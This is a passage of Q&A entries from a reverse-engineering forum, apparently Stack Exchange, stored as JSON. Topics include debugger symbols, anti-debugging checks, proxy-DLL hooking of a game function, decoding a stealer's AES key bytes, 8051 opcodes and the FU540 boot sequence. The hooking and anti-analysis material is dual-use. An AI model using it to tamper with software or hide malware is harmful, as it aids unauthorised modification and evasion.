        "Answer": "<p>x64dbg can load the pdb and list all the function names if you have pdb for your executable</p>\n<p>view-&gt;modules-&gt;download symbols for this module\n<a href=\"https://i.stack.imgur.com/Zk34H.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Zk34H.png\" alt=\"enter image description here\" /></a>\nalso x64dbg can use the source file (ctrl+shift+s)\n<a href=\"https://i.stack.imgur.com/1JiC5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1JiC5.png\" alt=\"enter image description here\" /></a></p>\n<p>just for completion sake windbg usage</p>\n<pre><code>:\\&gt;cdb -c &quot;.lines;bp `winchk.cpp:17`&quot; winchk.exe\n\nMicrosoft (R) Windows Debugger Version 10.0.17763.132 AMD64\n\n\nCommandLine: winchk.exe\n\n\nntdll!LdrpDoDebuggerBreak+0x30:\n00007ffa`055f108c cc              int     3\n0:000&gt; cdb: Reading initial command '.lines;bp `winchk.cpp:17`'\nLine number information will be loaded\n0:000&gt; bl\n 0 e 00007ff7`ad0f1090     0001 (0001)  0:**** winchk!main\n0:000&gt; g\nBreakpoint 0 hit\nwinchk!main:\n00007ff7`ad0f1090 4883ec38        sub     rsp,38h\n0:000&gt;\n</code></pre>\n<p>you can use the dbh.exe in windbg installation folder to rebase and get exact address</p>\n<pre><code>winchk [1000000]: x *\n\n index            address     name\n     1            1001090 :   main\n     3            1001060 :   atest\n     5            1001000 :   ctest\n     6            1001030 :   btest\n\nwinchk [1000000]: base 0x400000\n\n\nwinchk [400000]: x *\n\n index            address     name\n     1             401090 :   main\n     3             401060 :   atest\n     5             401000 :   ctest\n     6             401030 :   btest\n\nwinchk [400000]:\n</code></pre>\n"
    },
    {
        "Id": "29276",
        "CreationDate": "2021-09-11T17:40:49.617",
        "Body": "<p>I am writing my own applications to practice reversing. I want to be able to detect debuggers and change the execution in response.</p>\n<p>When building the application, I am easily able to detect it is being debugged with\n<code>System.Diagnostics.Debugger.IsAttached</code> or kernel32.dll's <code>CheckRemoteDebuggerPresent</code>method.</p>\n<pre><code>if (System.Diagnostics.Debugger.IsAttached)\n            {\n                //code if being debugged\n            }\n</code></pre>\n<p>When I debug my release in x64dbg though, the debugger is not detected. Is there a way to detect this?</p>\n",
        "Title": "How can I detect if my application is running in x64debug?",
        "Tags": "|x64dbg|anti-debugging|c#|",
        "Answer": "<p>Pretty sure <code>System.Diagnostics.Debugger.IsAttached</code> detects only managed debuggers, whereas the code you mentioned <code>CheckRemoteDebuggerPresent</code>, should work on any kind of debugger, provided there is no anti-anti-debugging protection applied.\nManaged debuggers, refer to those such as your .net managed debugger.</p>\n<p>Note that <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-checkremotedebuggerpresent\" rel=\"nofollow noreferrer\">CheckRemoteDebuggerPresent</a>, when the handle is set to the current process, is essentially the same as <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent\" rel=\"nofollow noreferrer\">IsDebuggerPresent</a></p>\n<p>IsDebuggerPresent is the simplest way to check if a debugger is attached to your process, but also the easiest debugging detection technique to bypass.</p>\n<p>You can checkout this article for a list of some of the common techniques used (there are many ways to detect !) : <a href=\"https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software\" rel=\"nofollow noreferrer\">https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software</a></p>\n"
    },
    {
        "Id": "29290",
        "CreationDate": "2021-09-14T19:01:23.760",
        "Body": "<p>I have bits of code which decompiles a small part of the existing program. I have added it to the proxy dll. The code to the existing functions is hooked through Detour and looks like below (gui.h and gui.cpp)</p>\n<p>But now how do I call my own implementation of the gamemain function? Can someone may be point me to an existing post(s) where calling proxy dll replaced functions is described in detail.</p>\n<p>Or / And if you don't mind spending time looking at the code below, I would appreciate the tips on how to make it work in the similar structure to the one I am using or may be there is another solution I should be considering.</p>\n<p>Note, I do know the address for the gamemain function in the original exe.</p>\n<p>gui.h</p>\n<pre><code>#pragma once\n#include &quot;world.h&quot;\n\nnamespace gladius {\n\n    namespace gui {\n    \n        \n        //struct gladius::world::World* __fastcall getworld();\n        struct GUI {\n            //gladius::world::World* __fastcall gladius::gui::GUI::getWorld(gladius::gui::GUI* thisptr);\n            using GetWorld = gladius::world::World* (__fastcall*) (GUI* thisptr);\n            GetWorld getWorld;\n        };\n\n\n        GUI&amp; get();\n    } //namespace gui\n}\n</code></pre>\n<p>gui.cpp</p>\n<pre><code>#include &quot;world.h&quot;\n#include &quot;gui.h&quot;\n#include &lt;array&gt;\n\n\nnamespace gladius {\n\n    namespace gui {\n\n        static std::array&lt;GUI, 1&gt; functions = { {\n\n                // Steam\n                    GUI{\n                            (GUI::GetWorld)0x140b81074,\n                         },\n                } };\n\n\n        GUI&amp; get()\n        {\n            return functions[0];\n        }\n    }\n}\n</code></pre>\n<p>This works. But now I want to change another function and replace it with my implementation. I.e. the function looks like this:</p>\n<p>game.h</p>\n<pre><code>#pragma once\n\n#include &quot;world.h&quot;\n#include &quot;game.h&quot;\n#include &quot;gui.h&quot;\n\nnamespace gladius {\n    \n    \n    struct Game {\n        //virtual int __thiscall main(gladius::Game* thisptr, int param_1, char** param_2, char** param_3);\n        int __thiscall gladius::Game::gamemain(gladius::Game* thisptr, int param_1, char** param_2, char** param_3)\n        {\n\n            gladius::gui::GUI guiInst;\n            gladius::world::World worldInst;\n\n            gladius::Game::initialize(this, param_1, param_2, param_3);\n            // proxy::gui::GUI::run(*(GUI**)(this + 0x28));\n            //worldInst = gladius::gui::GUI::getWorld(*(gladius::gui::GUI**)(this + 0x88));\n\n            gladius::world::World::CreateWorld(*(gladius::world::World**)(*(long long *)(this + 0x5e8) + 0x50));\n            gladius::Game::quit(this);\n            return 0;\n        }\n        void __fastcall gladius::Game::initialize(gladius::Game* thisptr, int a2, char** a3, char** a4);\n        void __fastcall gladius::Game::quit(gladius::Game* thisptr);\n    };\n\n\n}\n</code></pre>\n",
        "Title": "How to call your version of the existing function using proxy dll?",
        "Tags": "|c++|dll-injection|program-analysis|",
        "Answer": "<p>In regards to the discussion above in the Comments section. As I've mentioned, I have figured out the hooking part, even though it is not fully working yet with the main application.</p>\n<p>Here is the solution:</p>\n<p>game.cpp</p>\n<pre><code>#include &quot;game.h&quot;\n#include &lt;array&gt;\n\n\nnamespace gladius {\n\n        static std::array&lt;Game, 1&gt; functions = { {\n\n                // Steam\n                    Game{\n                            (Game::GameMain)0x140039ea0,\n                            (Game::Initialize)0x140033e20,\n                            (Game::Quit)0x14003a0e0\n                         },\n\n                } };\n\n\n        Game&amp; get()\n        {\n            return functions[0];\n        }\n}\n</code></pre>\n<p>hooks.cpp</p>\n<pre><code>#include &quot;hooks.h&quot;\n#include &quot;game.h&quot;\n\nnamespace hooks {\n\n    Hooks getHooks()\n    {\n        Hooks hooks{\n            HookInfo{(void**)&amp;gladius::get().gamemain, gamemainHooked}, \n        };\n        return hooks;\n    }\n\n    Hooks getVftableHooks()\n    {\n        Hooks hooks;\n        return hooks;\n    }\n\n    int __fastcall gamemainHooked(gladius::Game* thisptr, int param_1, char** param_2, char** param_3)\n    {\n\n        gladius::get().initialize(thisptr, param_1, param_2, param_3);\n\n        gladius::world::World::CreateWorld(*(gladius::world::World**)(*(long long*)(thisptr + 0x5e8) + 0x50));\n        gladius::get().quit(thisptr);\n\n        return gladius::get().gamemain(thisptr, param_1, param_2, param_3);\n    }\n</code></pre>\n<p>hooks.h</p>\n<pre><code>#pragma once\n\n#ifndef HOOKS_H\n#define HOOKS_H\n\n#include &lt;string&gt;\n#include &lt;utility&gt;\n#include &lt;vector&gt;\n#include &quot;game.h&quot;\n\n\nnamespace hooks {\n\n    using HookInfo = std::pair&lt;void**, void*&gt;;\n    using Hooks = std::vector&lt;HookInfo&gt;;\n\n    /** Returns array of hooks to setup. */\n    Hooks getHooks();\n    Hooks getVftableHooks();\n\n    int __fastcall gamemainHooked(gladius::Game* thisptr, int param_1, char** param_2, char** param_3);\n\n} // namespace hooks\n\n#endif // HOOKS_H\n</code></pre>\n<p>The problem I found with this kind of work, there is a very scarce set of information and examples on the topic.</p>\n<p>I will probably endeavour on writing wiki page with the examples and explanations on how it is done, once I am convinced that this is working.</p>\n<p>Because for me personally it would be so much easier if there are simple and comprehensive examples on how it can be done.</p>\n<p>The same goes to vtable pointers. I mean, may be it is just me, but is there some source, where I can check different a simple examples of how exactly it is done for the complex programs, not for &quot;Hello World!&quot; apps? Because the later ones tend to reverse the entire code and what I need is a mixture of the reversed and original code working together...</p>\n"
    },
    {
        "Id": "29300",
        "CreationDate": "2021-09-17T20:00:18.107",
        "Body": "<p>There is this grabber called Itroublve grabber, which a lot of people use, and I wondered what it's  aes encryption key is, so I looked at the code, and I found this:</p>\n<pre><code>   Key = new byte[]\n    {\n        88,\n        105,\n        179,\n        95,\n        179,\n        135,\n        116,\n        246,\n        101,\n        235,\n        150,\n        231,\n        111,\n        77,\n        22,\n        131\n    }\n</code></pre>\n<p>My question is, how can I decode these numbers back to a string?</p>\n",
        "Title": "Decode byte numbers into string",
        "Tags": "|malware|c#|",
        "Answer": "<p>Expanding the comment by Rolf Rolles: Your computer (and most other computers manufactured in the last 30 years) stores and processes information in the form of sequences of numbers between 0 and 255. Each of these numbers is called a byte.\nThere is a standard mapping from printable standard Latin letters, digits and some special characters to the numbers 32 to 126. This mapping is called &quot;ASCII&quot; and is used up to today. While we have far more characters today, the numbers 32 to 126 still have the same meaning in the Unicode character set.\nAn encryption key is just any sequence of 16 bytes, which might contain numbers that correspond to letters, but all other numbers are allowed, too. If you want to print the key, you need to find some way to make printable characters from those 16 bytes. One way is already given in your question: Format each byte as decimal number between 0 and 255, and place commas between them to separate the characters. We call such a method &quot;encoding of bytes to printable strings&quot;. Printing each byte as decimal number like here is a very simple and understandable concept, but it wastes a lot of space. There are common more compact encodings like &quot;hex&quot; (needs two character per byte) or base64 (needs four characters for three bytes).</p>\n<p>In Python, you can get a &quot;bytes&quot; object by calling &quot;key=bytes ([1,2,3,4,...])&quot;, which can then be printed as hex using &quot;print(key.hex())&quot; or as base64 using &quot;print(base64.b64encode(key))&quot;. You need to import the base64 module for that, using &quot;import base64&quot;.</p>\n"
    },
    {
        "Id": "29301",
        "CreationDate": "2021-09-18T09:49:59.390",
        "Body": "<p>I'm helping reverse engineer a small embedded device. We've successfully extracted some code fragments, which have been identified as 8051 machine code. However, it's using some kind of instruction set extension using a 0xa5 opcode prefix. I know this is used by several different instruction set extensions, so I need to look these up and see which ones make sense.</p>\n<p>So far I've found and ruled out:</p>\n<ul>\n<li>Philips/NXP 51MX</li>\n<li>Intel MCS-251</li>\n</ul>\n<p>What others are there?</p>\n<p>For interest value, here are some of the extended instructions:</p>\n<pre><code>  0023 A5               DB 85h  ; illegal opcode\n  0024 6130             AJMP L0002\n\n  005F A5               DB 85h  ; illegal opcode\n  0060 817C             AJMP L0010\n\n  0065 A5               DB 85h  ; illegal opcode\n  0066 00               NOP\n\n  0068 A5               DB 85h  ; illegal opcode\n  0069 A674             MOV @R0, 74h\n</code></pre>\n",
        "Title": "What 8051 instruction extensions are there?",
        "Tags": "|8051|",
        "Answer": "<p>The CPU actually turned out to be an AC1082 from JL: it's intended for the MP3 player market. It's an 8051 clone with (I think) 8\u00a0kB of RAM and a combined XDATA/CODE address space, allowing it to run code out of RAM; plus, it's got a really good set of 16-bit extension instructions which include direct XDATA access using an address in a register pair, so you don't have to indirect through DPTR. It looks like a really interesting thing.</p>\n<p>It's not documented as such that anyone can find, but <a href=\"https://github.com/gitzzc/JieLi\" rel=\"nofollow noreferrer\">here is an SDK for it</a>.  It's got macros for generating the extended instructions, but there's no documentation on what they actually do and some of them aren't obvious. I'm still trying to get my hands on hardware to actually do some testing with.</p>\n<p>You can find the reverse engineering effort in the Reddit thread <a href=\"https://old.reddit.com/r/BigCliveDotCom/comments/pmt390/buddha_machine_teardown_with_flash_dump\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "29318",
        "CreationDate": "2021-09-22T10:57:29.827",
        "Body": "<p>In developing a RESTful API for IDA &gt;= 7.5 [https://github.com/sfinktah/idarest75], I have observed that a standard threaded webserver does not release it's socket when IDA terminates, <strong>unless</strong> it is run as a plugin. This behaviour may extend to all threading, I have not tested.</p>\n<p>If the code below is simply loaded as a script (or pasted into the CLI) it will actually cause IDA to invisibly hang when IDA is exited, i.e. IDA appears to close but can actually found to be still running in Task Explorer -&gt; Details.</p>\n<p>Is there perhaps an IDA-specific <code>atexit</code> analog, as the builtin Python version certainly does not help.</p>\n<p>Whilst the finished project is capable of running either as a plugin or a stand-alone script, the lack of any way to unload a python plugin requires keeping a reference to the class instance in order to call <code>.term()</code>, which is contra-indicated if one actually expects destruction to occur correctly.</p>\n<p>Sample code (paste, exit IDA, observe running tasks).</p>\n<pre><code>def ida_issue():\n    from http.server import BaseHTTPRequestHandler, HTTPServer\n    from socketserver import ThreadingMixIn\n    import threading\n\n    class Handler(BaseHTTPRequestHandler):\n        def do_GET(self):\n            self.send_response(200)\n            self.end_headers()\n\n    class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):\n        allow_reuse_address = True\n\n    class Worker(threading.Thread):\n        def __init__(self, host, port):\n            threading.Thread.__init__(self)\n            self.httpd = ThreadedHTTPServer((host, port), Handler)\n            self.host = host\n            self.port = port\n\n        def run(self):\n            self.httpd.serve_forever()\n\n        def stop(self):\n            self.httpd.shutdown()\n            self.httpd.server_close()\n\n    class Master:\n        def __init__(self):\n            self.worker = Worker('127.0.0.1', 28612)\n            self.worker.start()\n\n    def main():\n        master = Master()\n        return master\n\n    return main()\n\nserver = ida_issue()\n</code></pre>\n<h1>How to re/unload [co-operative] IDAPython plugins.</h1>\n<pre><code>class idarest_plugin_t(IdaRestConfiguration, ida_idaapi.plugin_t):\n    flags = ida_idaapi.PLUGIN_UNL\n\n    def run(self, *args):\n        pass\n\ndef reload_idarest():\n    l = ida_loader.load_plugin(sys.modules['__plugins__idarest_plugin'].__file__)\n    ida_load.run_plugin(l, 0)\n    # pip install exectools (or ida_idaapi.require would probably suffice)\n    unload('idarest_plugin')\n    # reload plugin (or not)\n    l = ida_loader.load_plugin(sys.modules['__plugins__idarest_plugin'].__file__)\n</code></pre>\n",
        "Title": "BaseHTTPRequestHandler + ThreadingMixin = unclosed port",
        "Tags": "|idapython|",
        "Answer": "<p>Some research into the <code>atexit</code> module provided a simple solution.  Create a plugin purely to trigger the <code>atexit</code> handlers when it receives a <code>term</code>.</p>\n<pre><code>import atexit\nimport idc\nimport ida_idaapi\n\nclass ida_atexit(ida_idaapi.plugin_t):\n    flags = ida_idaapi.PLUGIN_UNL\n    comment = &quot;atexit&quot;\n    help = &quot;triggers atexit._run_exitfuncs() when ida halts plugins&quot;\n    wanted_name = &quot;&quot;\n    wanted_hotkey = &quot;&quot;\n\n    def init(self):\n        super(ida_atexit, self).__init__()\n        return ida_idaapi.PLUGIN_KEEP\n\n    def run(*args):\n        pass\n\n    def term(self):\n        idc.msg('[ida_atexit::term] calling atexit._run_exitfuncs()\\n')\n        atexit._run_exitfuncs()\n\ndef PLUGIN_ENTRY():\n    globals()['instance'] = ida_atexit()\n    return globals()['instance']\n</code></pre>\n"
    },
    {
        "Id": "29323",
        "CreationDate": "2021-09-23T14:32:11.287",
        "Body": "<p>I'm reading the <a href=\"https://starfivetech.com/uploads/fu540-c000-manual-v1p4.pdf\" rel=\"nofollow noreferrer\">manual</a> for the SiFive FU540-C000 trying to understand the boot process, and I'm not making sense of the initial steps after power on.</p>\n<p>I'm using <code>MSEL = 1111</code> based on the recommendation for the <a href=\"https://docs.sel4.systems/Hardware/hifive.html\" rel=\"nofollow noreferrer\">software I'm booting</a> from SD card.</p>\n<blockquote>\n<p>On power-on, all cores jump to 0x1004 while running directly off of the external clock input,\nexpected to be 33.3 MHz. The memory at this location contains:</p>\n<p>Table 8: Reset vector ROM</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: center;\">Address</th>\n<th style=\"text-align: center;\">Contents</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\">0x1000</td>\n<td style=\"text-align: center;\">The MSEL pin state</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x1004</td>\n<td style=\"text-align: center;\">auipc t0, 0</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x1008</td>\n<td style=\"text-align: center;\">lw t1, -4(t0)</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x100C</td>\n<td style=\"text-align: center;\">slli t1, t1, 0x3</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x1010</td>\n<td style=\"text-align: center;\">add t0, t0, t1</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x1014</td>\n<td style=\"text-align: center;\">lw t0, 252(t0)</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x1018</td>\n<td style=\"text-align: center;\">jr t0</td>\n</tr>\n</tbody>\n</table>\n</div></blockquote>\n<p>This is how I've decoded the instructions.</p>\n<ol>\n<li><code>0x1004 = auipc t0, 0</code>\n<ul>\n<li>AUIPC uses the top 20 bits of the immediate, extends 0 to the low 12, then adds the PC value of the auipc instruction. Store in t0</li>\n<li>t0 = 0x0 &lt;&lt; 12 = 0x0 + 0x1004</li>\n</ul>\n</li>\n</ol>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: center;\">Register</th>\n<th style=\"text-align: center;\">Value</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\">t0</td>\n<td style=\"text-align: center;\">0x1004</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">t1</td>\n<td style=\"text-align: center;\">UNDEF</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">PC (next)</td>\n<td style=\"text-align: center;\">0x1008</td>\n</tr>\n</tbody>\n</table>\n</div>\n<ol start=\"2\">\n<li><code>0x1008 = lw t1, -4(t0)</code>\n<ul>\n<li>Load value in memory address <code>(t0 - 4)</code>, store in t1</li>\n<li>t1 = Mem[0x1004 - 4] = Mem[0x1000] = MSEL = 0b1111 = 0xF</li>\n</ul>\n</li>\n</ol>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: center;\">Register</th>\n<th style=\"text-align: center;\">Value</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\">t0</td>\n<td style=\"text-align: center;\">0x1004</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">t1</td>\n<td style=\"text-align: center;\">0x000F</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">PC (next)</td>\n<td style=\"text-align: center;\">0x100C</td>\n</tr>\n</tbody>\n</table>\n</div>\n<ol start=\"3\">\n<li><code>0x100C = slli t1, t1, 0x3</code>\n<ul>\n<li>t1 is left shifted 3, store in t1</li>\n<li>t1 = 0b1111 &lt;&lt; 3 = 0b1111000 = 0x78</li>\n</ul>\n</li>\n</ol>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: center;\">Register</th>\n<th style=\"text-align: center;\">Value</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\">t0</td>\n<td style=\"text-align: center;\">0x1004</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">t1</td>\n<td style=\"text-align: center;\">0x0078</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">PC (next)</td>\n<td style=\"text-align: center;\">0x1010</td>\n</tr>\n</tbody>\n</table>\n</div>\n<ol start=\"4\">\n<li><code>0x1010 = add t0, t0, t1</code>\n<ul>\n<li>t1 is added to t0, store in t0</li>\n<li>t0 = 0x1004 + 0x0078 = 0x107C</li>\n</ul>\n</li>\n</ol>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: center;\">Register</th>\n<th style=\"text-align: center;\">Value</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\">t0</td>\n<td style=\"text-align: center;\">0x107C</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">t1</td>\n<td style=\"text-align: center;\">0x0078</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">PC (next)</td>\n<td style=\"text-align: center;\">0x1014</td>\n</tr>\n</tbody>\n</table>\n</div>\n<ol start=\"5\">\n<li><code>0x1014 = lw t0, 252(t0)</code>\n<ul>\n<li>Load value in memory address <code>t0 +  252</code>, store in t0</li>\n<li>t0 = Mem[0x107C + 0xFC] = Mem[0x1178] = 0x????</li>\n</ul>\n</li>\n</ol>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: center;\">Register</th>\n<th style=\"text-align: center;\">Value</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\">t0</td>\n<td style=\"text-align: center;\">0x????</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">t1</td>\n<td style=\"text-align: center;\">0x0078</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">PC (next)</td>\n<td style=\"text-align: center;\">0x1018</td>\n</tr>\n</tbody>\n</table>\n</div>\n<ol start=\"6\">\n<li><code>0x1018 = jr t0</code>\n<ul>\n<li>jump directly to address in t0</li>\n<li>PC = 0x????</li>\n</ul>\n</li>\n</ol>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: center;\">Register</th>\n<th style=\"text-align: center;\">Value</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\">t0</td>\n<td style=\"text-align: center;\">0x????</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">t1</td>\n<td style=\"text-align: center;\">0x0788</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">PC (next)</td>\n<td style=\"text-align: center;\">0x????</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>The problem is that, according to the manual, MSEL = 0b1111 should jump to 0x0001_0000, doesn't mention anything about what's at 0x1178</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: center;\">Base</th>\n<th style=\"text-align: center;\">Top</th>\n<th style=\"text-align: center;\">Attr.</th>\n<th style=\"text-align: left;\">Description Notes</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\">0x0000_0000</td>\n<td style=\"text-align: center;\">0x0000_00FF</td>\n<td style=\"text-align: center;\"></td>\n<td style=\"text-align: left;\">Reserved</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x0000_0100</td>\n<td style=\"text-align: center;\">0x0000_0FFF</td>\n<td style=\"text-align: center;\">RWX A</td>\n<td style=\"text-align: left;\">Debug</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x0000_1000</td>\n<td style=\"text-align: center;\">0x0000_1FFF</td>\n<td style=\"text-align: center;\">R X</td>\n<td style=\"text-align: left;\">Mode Select</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x0000_2000</td>\n<td style=\"text-align: center;\">0x0000_FFFF</td>\n<td style=\"text-align: center;\"></td>\n<td style=\"text-align: left;\">Reserved</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">0x0001_7FFF</td>\n<td style=\"text-align: center;\">R X</td>\n<td style=\"text-align: left;\">Mask ROM (32 KiB)</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x0001_8000</td>\n<td style=\"text-align: center;\">0x00FF_FFFF</td>\n<td style=\"text-align: center;\"></td>\n<td style=\"text-align: left;\">Reserved</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0x0100_0000</td>\n<td style=\"text-align: center;\">0x0100_1FFF</td>\n<td style=\"text-align: center;\">RWX A</td>\n<td style=\"text-align: left;\">S51 DTIM (8 KiB)</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Did I interpret something wrong, or is there something else going on in this boot sequence that I'm not getting?</p>\n<p>--EDIT 1--</p>\n<p>In my original math I shifted the hex values left instead of binary. Going to attribute that to brain tired. It still isn't any more clear what's happening after the jump instruction.</p>\n<p>--EDIT 2--</p>\n<p>It was <a href=\"https://forums.sifive.com/t/whats-the-fu540-boot-sequence/5206\" rel=\"nofollow noreferrer\">pointed out</a> that I was using LW incorrectly, loading the value in the register instead of the value in memory indicated by the address in register. Updated the math and still no more clear.</p>\n<p>--EDIT 3--</p>\n<p>Thanks to mumbel for pointing out my incorrect use of the MSEL value. I treated as 0x1111 instead 0f 0b1111 = 0xF. I swear I know hex and binary.</p>\n",
        "Title": "Not Understanding the FU540 Boot Process",
        "Tags": "|assembly|firmware|memory|static-analysis|risc-v|",
        "Answer": "<p>I can't find the full memory map, but I've been told that this table can be interpreted similarly. Basically, whatever address is calculated using MSEL will have the value in the &quot;Reset address&quot; field. So, it's not an address to value mapping, but since it's the only variable in the algorithm, it alone determines what address will be jumped to in the final instruction, so the mapping is still valid.</p>\n<p>Another way to look at it is that MSEL is an index into a jump table, and the base is calculated in the rest of the algorithm.</p>\n<blockquote>\n<p>Table 9: Target of the reset vector</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th style=\"text-align: center;\">MSEL</th>\n<th style=\"text-align: center;\">Reset address</th>\n<th style=\"text-align: center;\">Purpose</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\">0000</td>\n<td style=\"text-align: center;\">0x0000_1004</td>\n<td style=\"text-align: center;\">loops forever waiting for debugger</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0001</td>\n<td style=\"text-align: center;\">0x2000_0000</td>\n<td style=\"text-align: center;\">memory-mapped QSPI0</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0010</td>\n<td style=\"text-align: center;\">0x3000_0000</td>\n<td style=\"text-align: center;\">memory-mapped QSPI1</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0011</td>\n<td style=\"text-align: center;\">0x4000_0000</td>\n<td style=\"text-align: center;\">uncached ChipLink</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0100</td>\n<td style=\"text-align: center;\">0x6000_0000</td>\n<td style=\"text-align: center;\">cached ChipLink</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0101</td>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">ZSBL</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0110</td>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">ZSBL</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">0111</td>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">ZSBL</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">1000</td>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">ZSBL</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">1001</td>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">ZSBL</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">1010</td>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">ZSBL</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">1011</td>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">ZSBL</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">1100</td>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">ZSBL</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">1101</td>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">ZSBL</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">1110</td>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">ZSBL</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">1111</td>\n<td style=\"text-align: center;\">0x0001_0000</td>\n<td style=\"text-align: center;\">ZSBL</td>\n</tr>\n</tbody>\n</table>\n</div></blockquote>\n"
    },
    {
        "Id": "29332",
        "CreationDate": "2021-09-24T09:38:05.367",
        "Body": "<p>I have opened an executable with Ghidra, IDA and x64dbg (runtime).</p>\n<p>It seems that the address space in IDA and x64dbg is the same, but it is different from the one I see in Ghidra.</p>\n<p>When hooking through proxy dll, which one should be used?</p>\n<p>Here are the address snapshots.</p>\n<p><strong>Ghidra</strong></p>\n<p><a href=\"https://i.stack.imgur.com/3rPzY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3rPzY.png\" alt=\"enter image description here\" /></a></p>\n<p><strong>IDA</strong></p>\n<p><a href=\"https://i.stack.imgur.com/kwV21.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kwV21.png\" alt=\"enter image description here\" /></a></p>\n<p><strong>x64dbg</strong></p>\n<p><a href=\"https://i.stack.imgur.com/QEaPp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QEaPp.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "Why address space is different for Ghidra, IDA and xDebug runtime and which one to use?",
        "Tags": "|ida|ghidra|dll-injection|address|",
